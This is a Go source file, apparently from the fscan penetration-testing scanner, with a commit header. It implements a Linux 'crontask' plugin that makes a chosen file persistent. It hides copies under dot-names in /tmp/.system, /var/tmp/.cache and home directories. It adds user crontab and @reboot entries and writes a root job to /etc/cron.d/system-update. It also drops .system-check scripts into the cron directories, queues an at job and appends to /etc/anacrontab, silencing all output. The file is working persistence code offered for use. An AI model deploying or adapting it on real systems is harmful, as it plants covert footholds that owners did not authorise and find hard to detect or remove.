Files
ZacharyZcR d6d323854a refactor: 完成全局状态到 session 的完整迁移
将 plugins/services、plugins/local、plugins/web、webscan 层的日志输出、
漏洞结果保存和 TCP 计数器从全局 common.Log*/GetGlobalState() 迁移到
session 实例方法,确保 SDK 并发扫描时各实例完全隔离。

- 50 个文件,所有插件日志走 session.Log*
- DoRequest 加入 session 参数,计数器走 session.State
- POC 执行器通过 POCContext.Session 传递
- 仅保留 init() 和 CEL runtime 等无 session 场景的全局回退
2026-06-01 08:13:23 +08:00

342 lines
8.5 KiB
Go

//go:build (plugin_crontask || !plugin_selective) && linux && !no_local
package local
import (
"context"
"fmt"
"os"
"os/exec"
"os/user"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
// CronTaskPlugin 定时任务插件
// 设计哲学:直接实现,删除过度设计
// - 删除复杂的继承体系
// - 直接实现持久化功能
// - 保持原有功能逻辑
type CronTaskPlugin struct {
plugins.BasePlugin
targetFile string
}
// NewCronTaskPlugin 创建计划任务持久化插件
func NewCronTaskPlugin() *CronTaskPlugin {
return &CronTaskPlugin{
BasePlugin: plugins.NewBasePlugin("crontask"),
}
}
// Scan 执行计划任务持久化 - 直接实现
func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
config := session.Config
var output strings.Builder
if runtime.GOOS != "linux" {
return &plugins.Result{
Success: false,
Output: i18n.GetText("crontask_linux_only"),
Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)),
}
}
// 从config获取配置
p.targetFile = config.PersistenceTargetFile
if p.targetFile == "" {
return &plugins.Result{
Success: false,
Output: i18n.GetText("persistence_file_required"),
Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")),
}
}
// 检查目标文件是否存在
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
return &plugins.Result{
Success: false,
Output: i18n.Tr("target_file_not_exist", p.targetFile),
Error: err,
}
}
// 检查crontab是否可用
if _, err := exec.LookPath("crontab"); err != nil {
return &plugins.Result{
Success: false,
Output: i18n.GetText("crontab_unavailable"),
Error: err,
}
}
output.WriteString(i18n.GetText("crontask_header") + "\n")
output.WriteString(i18n.Tr("local_target_file", p.targetFile) + "\n\n")
var successCount int
// 1. 复制文件到持久化目录
persistPath, err := p.copyToPersistPath()
if err != nil {
output.WriteString(i18n.Tr("copy_file_failed", err) + "\n")
} else {
output.WriteString(i18n.Tr("file_copied_to", persistPath) + "\n")
successCount++
}
// 2. 添加用户crontab任务
err = p.addUserCronJob(persistPath)
if err != nil {
output.WriteString(i18n.Tr("crontask_user_add_failed", err) + "\n")
} else {
output.WriteString(i18n.GetText("crontask_user_added") + "\n")
successCount++
}
// 3. 添加系统cron任务
systemCronFiles, err := p.addSystemCronJobs(persistPath)
if err != nil {
output.WriteString(i18n.Tr("crontask_system_add_failed", err) + "\n")
} else {
output.WriteString(i18n.Tr("crontask_system_added", strings.Join(systemCronFiles, ", ")) + "\n")
successCount++
}
// 4. 创建at任务
err = p.addAtJob(persistPath)
if err != nil {
output.WriteString(i18n.Tr("crontask_at_add_failed", err) + "\n")
} else {
output.WriteString(i18n.GetText("crontask_at_added") + "\n")
successCount++
}
// 5. 创建anacron任务
err = p.addAnacronJob(persistPath)
if err != nil {
output.WriteString(i18n.Tr("crontask_anacron_add_failed", err) + "\n")
} else {
output.WriteString(i18n.GetText("crontask_anacron_added") + "\n")
successCount++
}
// 输出统计
output.WriteString("\n" + i18n.Tr("persistence_complete_summary", successCount, 5) + "\n")
if successCount > 0 {
session.LogSuccess(i18n.Tr("crontask_success", successCount))
}
return &plugins.Result{
Success: successCount > 0,
Output: output.String(),
Error: nil,
}
}
// copyToPersistPath 复制文件到持久化目录
func (p *CronTaskPlugin) copyToPersistPath() (string, error) {
// 选择持久化目录
persistDirs := []string{
"/tmp/.system",
"/var/tmp/.cache",
"/opt/.local",
}
// 获取用户目录
if usr, err := user.Current(); err == nil {
userDirs := []string{
filepath.Join(usr.HomeDir, ".local", "bin"),
filepath.Join(usr.HomeDir, ".cache"),
}
persistDirs = append(userDirs, persistDirs...)
}
var targetDir string
for _, dir := range persistDirs {
if err := os.MkdirAll(dir, 0755); err == nil {
targetDir = dir
break
}
}
if targetDir == "" {
return "", fmt.Errorf("%s", i18n.GetText("persistence_dir_create_failed"))
}
// 生成隐藏文件名
basename := filepath.Base(p.targetFile)
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
if p.isScriptFile() {
hiddenName += ".sh"
}
targetPath := filepath.Join(targetDir, hiddenName)
// 复制文件
err := p.copyFile(p.targetFile, targetPath)
if err != nil {
return "", err
}
// 设置执行权限
_ = os.Chmod(targetPath, 0755)
return targetPath, nil
}
// copyFile 复制文件内容
func (p *CronTaskPlugin) copyFile(src, dst string) error {
sourceData, err := os.ReadFile(src)
if err != nil {
return err
}
return os.WriteFile(dst, sourceData, 0755)
}
// addUserCronJob 添加用户crontab任务
func (p *CronTaskPlugin) addUserCronJob(execPath string) error {
// 获取现有crontab
cmd := exec.Command("crontab", "-l")
currentCrontab, _ := cmd.Output()
// 生成新的cron任务
cronJobs := p.generateCronJobs(execPath)
newCrontab := string(currentCrontab)
for _, job := range cronJobs {
if !strings.Contains(newCrontab, execPath) {
if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") {
newCrontab += "\n"
}
newCrontab += job + "\n"
}
}
// 应用新的crontab
cmd = exec.Command("crontab", "-")
cmd.Stdin = strings.NewReader(newCrontab)
return cmd.Run()
}
// addSystemCronJobs 添加系统cron任务
func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) {
cronDirs := []string{
"/etc/cron.d",
"/etc/cron.hourly",
"/etc/cron.daily",
"/etc/cron.weekly",
"/etc/cron.monthly",
}
var modified []string
// 在cron.d中创建配置文件
cronFile := filepath.Join("/etc/cron.d", "system-update")
cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath)
if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil {
modified = append(modified, cronFile)
}
// 在每个cron目录中创建脚本
for _, cronDir := range cronDirs[1:] { // 跳过cron.d
if _, err := os.Stat(cronDir); os.IsNotExist(err) {
continue
}
scriptFile := filepath.Join(cronDir, ".system-check")
scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath)
if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil {
modified = append(modified, scriptFile)
}
}
if len(modified) == 0 {
return nil, fmt.Errorf("%s", i18n.GetText("crontask_system_create_none"))
}
return modified, nil
}
// addAtJob 添加at延时任务
func (p *CronTaskPlugin) addAtJob(execPath string) error {
// 检查at命令是否可用
if _, err := exec.LookPath("at"); err != nil {
return err
}
// 创建5分钟后执行的任务
atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath)
cmd := exec.Command("sh", "-c", atCommand)
return cmd.Run()
}
// addAnacronJob 添加anacron任务
func (p *CronTaskPlugin) addAnacronJob(execPath string) error {
anacronFile := "/etc/anacrontab"
// 检查anacrontab是否存在
if _, err := os.Stat(anacronFile); os.IsNotExist(err) {
return err
}
// 读取现有内容
content := ""
if data, err := os.ReadFile(anacronFile); err == nil {
content = string(data)
}
// 检查是否已存在
if strings.Contains(content, execPath) {
return nil
}
// 添加新任务
anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath)
if !strings.HasSuffix(content, "\n") && content != "" {
content += "\n"
}
content += anacronLine + "\n"
return os.WriteFile(anacronFile, []byte(content), 0644)
}
// generateCronJobs 生成多种cron任务
func (p *CronTaskPlugin) generateCronJobs(execPath string) []string {
baseCmd := execPath
if p.isScriptFile() {
baseCmd = fmt.Sprintf("bash %s", execPath)
}
baseCmd += " >/dev/null 2>&1"
return []string{
// 每5分钟执行一次
fmt.Sprintf("*/5 * * * * %s", baseCmd),
// 每小时执行一次
fmt.Sprintf("0 * * * * %s", baseCmd),
// 每天执行一次
fmt.Sprintf("0 0 * * * %s", baseCmd),
// 启动时执行
fmt.Sprintf("@reboot %s", baseCmd),
}
}
// isScriptFile 检查是否为脚本文件
func (p *CronTaskPlugin) isScriptFile() bool {
ext := strings.ToLower(filepath.Ext(p.targetFile))
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
}
// 注册插件
func init() {
RegisterLocalPlugin("crontask", func() Plugin {
return NewCronTaskPlugin()
})
}